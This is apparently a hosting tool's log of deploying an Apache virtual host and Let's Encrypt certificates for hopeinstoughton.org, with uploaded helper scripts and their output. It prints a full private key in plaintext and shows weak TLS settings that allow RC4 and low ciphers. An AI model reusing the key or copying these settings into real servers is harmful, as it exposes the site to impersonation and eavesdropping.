endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-11 06:00:16: 

chmod 755 /tmp/pkp761648; /tmp/pkp761648; rm /tmp/pkp761648

2025-10-11 06:00:16: 


dir=/etc/ssl/certs


2025-10-11 06:00:16: 

PUT: /tmp/pkp375345

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-11 06:00:16: 

chmod 755 /tmp/pkp375345; /tmp/pkp375345; rm /tmp/pkp375345

2025-10-11 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf 47
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-10-11 06:00:16: 

PUT: /tmp/pkp715138

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_www_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_www_org.conf= 1'
fi


2025-10-11 06:00:16: 

chmod 755 /tmp/pkp715138; /tmp/pkp715138; rm /tmp/pkp715138

2025-10-11 06:00:16: 




2025-10-11 06:00:16: 

PUT: /tmp/pkp399917

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-11 06:00:16: 

chmod 755 /tmp/pkp399917; /tmp/pkp399917; rm /tmp/pkp399917

2025-10-11 06:00:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 06:00:17: Establishing a connection
2025-10-11 06:00:17: 

PUT: /tmp/pkp455745

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-11 06:00:17: 

chmod 755 /tmp/pkp455745; /tmp/pkp455745; rm /tmp/pkp455745

2025-10-11 06:00:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 06:00:17: 

PUT: /tmp/pkp325376

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 06:00:17: 

chmod 755 /tmp/pkp325376; /tmp/pkp325376; rm /tmp/pkp325376

2025-10-11 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf	1690
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-10-11 06:00:17: 

PUT: /tmp/pkp942233

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 06:00:17: 

chmod 755 /tmp/pkp942233; /tmp/pkp942233; rm /tmp/pkp942233

2025-10-11 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt	5394
c4:de:3f:44:3c:4d:a5:6f:e6:f4:e4:13:25:dc:57:ae

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBuKnJPp9Bure2li15NulLSrwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMTQ1WhcNMjYwMTA5MDUwMTQ0WjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2rkFpWVmi81BBBsWOCf/KFqp0c1CnShI2kYkB/J8p7HuOCulWMHJUgDS
sdRYtrw0l9pQVDCEMlUnpToVNSTs0QlDz75YDtbv5niQHMgjaAvCDloZ2kBqKzGN
gKHhYXWYqg+d69VqsonDaMcGxxhC4Kg4zqn9AAsTOFlyaVFEc7fFGTMaD7+xvP48
UUepS0hAy+Eulk+ZDVZtRp44Erb81Xh5WK/I0THPKEIHUtqXriZcr/s/p3iQxWsM
Fl+u8ZEZvH4gAf1Eo8R692oCHjXlKOzXu5yVU2V7dD0tdDEPbWHW8c+ObWYo6PdQ
3pzZG4rbP1depezljX4d+Q50WjdAzQIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQZzYZoovigkJUs4vu5UUFbifBu4zAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2hvcGVpbnN0b3VnaHRv
bi5vcmeCF3d3dy5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEz
LmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AMs49xWJfIShRF9bwd37yW7y
mlnNRwppBYWwyxTDFFjnAAABmdHbBWsAAAQDAEgwRgIhAO7tM+lvVXAM2OL6eAWG
VxxT34ScUSq2V5BPRazVtHmJAiEA4EQndG6bNSAofgv6iofsWg9KRVdKHhoNdxWL
l7xPsaQAdQAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZnR2wVf
AAAEAwBGMEQCIAkOeaPMaABGBw+5W/YgpCGg1waUSHYkj2eUZHEdUwarAiA3iVcG
q8t0RdIgcPqlTa7r42xbWtIlquWzj4rCDLuYnTANBgkqhkiG9w0BAQsFAAOCAQEA
cqxSY40pIGT4I5wK+H9d6rHmCtld0lm71a7/Wz4bREWD9tmmcr2Pfk+CT4T9lN/O
ydKhvZP8Ytbg3LfaWgm7JbJAv96lCI3JozOhMb7TadrouVLriQCDj+nbVkkBpigy
U9PjmB1POp1Sk2a7A+NJwqMO7VEaS5CoT82W3Fh6jOfstWCIVeUCzqpM9MCoJOc1
Sy4x9XDWewYLX3Rn+cXoKBKHWivZ6/ODPo4djvxLXtb8iBxXCK6ZwHibiylbMM1i
zAFnLxrf8HJY1d5NZopW2HR2aedZNPRsiqjCOGXuzzQIkl/kiEVdwaI8Bl3GgFAO
SXf8AsBDKzOEwSgvlrSKWA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDauQWlZWaLzUEE
GxY4J/8oWqnRzUKdKEjaRiQH8nynse44K6VYwclSANKx1Fi2vDSX2lBUMIQyVSel
OhU1JOzRCUPPvlgO1u/meJAcyCNoC8IOWhnaQGorMY2AoeFhdZiqD53r1WqyicNo
xwbHGELgqDjOqf0ACxM4WXJpUURzt8UZMxoPv7G8/jxRR6lLSEDL4S6WT5kNVm1G
njgStvzVeHlYr8jRMc8oQgdS2peuJlyv+z+neJDFawwWX67xkRm8fiAB/USjxHr3
agIeNeUo7Ne7nJVTZXt0PS10MQ9tYdbxz45tZijo91DenNkbits/V16l7OWNfh35
DnRaN0DNAgMBAAECggEAEs8+kQ67VuJ76OJ7crDd3JaPbB9+zw0b1smZZ6WO2s0O
c34tZgikS40OkYR1bKGa1ERODC9v7vQryKXKFRvr0b4+Oqtf30bUsrlDi3YatWPt
eFZ/Sqmnd7d3N8y0GTGHw3g8WH+uAVSfnW8gQhbwCWnuGLe9rjdFm971W+FFRb4r
WTlWlzUBXMzcoracCQnWuePQehkcPQjUdVDXM+MEyMpxn4YvsSrTlk0KajgNgGN0
kMFyaQkIw5Spn89RxoaHQYbn3/dkizHVTdHwthV3k1d6S+sEGUtWalPJRM4C8Nbx
DAOx5paB05PaQqWeZtc1c9D2trYDFWpZ6DE9kNpr8QKBgQDz7OMwmqT5mH54+C/Q
DjV6sAB2I9a8vzGLatd/5dUFzcPO1MT99mXDTgITGlGGIGuKtOOGKqo/tqIvflXk
Kza5YDFDj2zsnDM4ghjijR5x7b4GkxQSGnaND9rwKQxJdlrnIblfXcAKRK/QvFg/
H6lDzJEF9WnKEnZJVhU/2POL+wKBgQDljMIFaa0ih8gxG4jqg9jTYnCCwxHrGzj7
YRO7aaXLnXPgBjJp3K5ljkZ2WAmJFcV/HvnIovxiSlBY2QpD4K8k8hh4kdj/EOhE
G/XM5ajoYkn++LB7wlDf9osjSP7+VzyhjV9/zyF3waL9Bb+OssTfFAFHzqO62RSU
YoM1f/5D1wKBgQDBPlp+lwU79+O6UmUOnzMfD3BOJ/ZncdD+cpZnbN1my6zknwux
ZxMXtyVNnPwZFnYcXVIjaImYEEhM9/lz2ghwtBRTQb05dkXd7rNoSARmncJ90ueD
sBNbjcQVn29sg6dglQcW1l7dw6zF4XDIEX03iUkbP2GgBSBQ2THcczP/IQKBgQC6
WGQBJOKKD5QyWVnylwnjwBv56wWWyEifuRTdpUwUWUOB70Xprl5czvzggWNsR6JG
Kg04FSexWwaSuc6df75uzaGT70Iq/byv3crShPVzgKb1N0l9jic9SNV21YE7U/JC
a5PFG47duvHnWU1COFmdho3rjxJXUnZkZvyA5+CvjQKBgDdhf54VnGbA9KpqtBnr
0LJBQneq6myAaMfW1RxDNXugmlCLBJ5pSBBz+ms5zyZ/amvW16oOeI9xCUuVNueH
4h47P9/eH37OnME741Imh6l2+mjUiQIPUn3dDFcJFIFv33U/Sg14Qp3/aRECtMvS
R+ujwTNVCVGbfkltjn0vIqgh
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-11 06:00:17: Establishing a connection
2025-10-11 06:00:17: Establishing a connection
2025-10-11 06:00:17: 

PUT: /tmp/pkp850181

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-11 06:00:18: 

chmod 755 /tmp/pkp850181; /tmp/pkp850181; rm /tmp/pkp850181

2025-10-11 06:00:18: 


1


2025-10-11 06:00:18: Establishing a connection
2025-10-11 06:00:18: 

PUT: /tmp/pkp777829

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > Ccb5EAHPFbO0-GyTraZtwn8tBH0Vq3Iup_0VrDU1SCo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Ccb5EAHPFbO0-GyTraZtwn8tBH0Vq3Iup_0VrDU1SCo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Ccb5EAHPFbO0-GyTraZtwn8tBH0Vq3Iup_0VrDU1SCo


2025-10-11 06:00:19: 

chmod 755 /tmp/pkp777829; /tmp/pkp777829; rm /tmp/pkp777829

2025-10-11 06:00:19: 




2025-10-11 06:00:22: Establishing a connection
2025-10-11 06:00:22: 

PUT: /tmp/pkp560436

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
rm Ccb5EAHPFbO0-GyTraZtwn8tBH0Vq3Iup_0VrDU1SCo


2025-10-11 06:00:22: 

chmod 755 /tmp/pkp560436; /tmp/pkp560436; rm /tmp/pkp560436

2025-10-11 06:00:22: 




2025-10-11 06:00:22: Establishing a connection
2025-10-11 06:00:22: 

PUT: /tmp/pkp679802

#!/bin/bash
temp_file=$(mktemp)
TARGET=4190d696888bea52996fb61a0a63827a.crt

cat > $temp_file <<'endmsg'
39:fa:56:96:7c:9c:ef:09:cd:89:bc:b9:8c:12:bd:d9

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBpoVeLQ21oNzNDWIm7j+xLgJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMTUxWhcNMjYwMTA5MDUwMTUwWjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAOwLPa0muBUJanXi/rppZDjOCLfGA8GkyLbaAI5ytndorRTY
4xzIaHILAcTEmgIKgsDCs0uxb8mYaBkCuMPcgKgVsNR/btS157RmCujSNEDanlDS
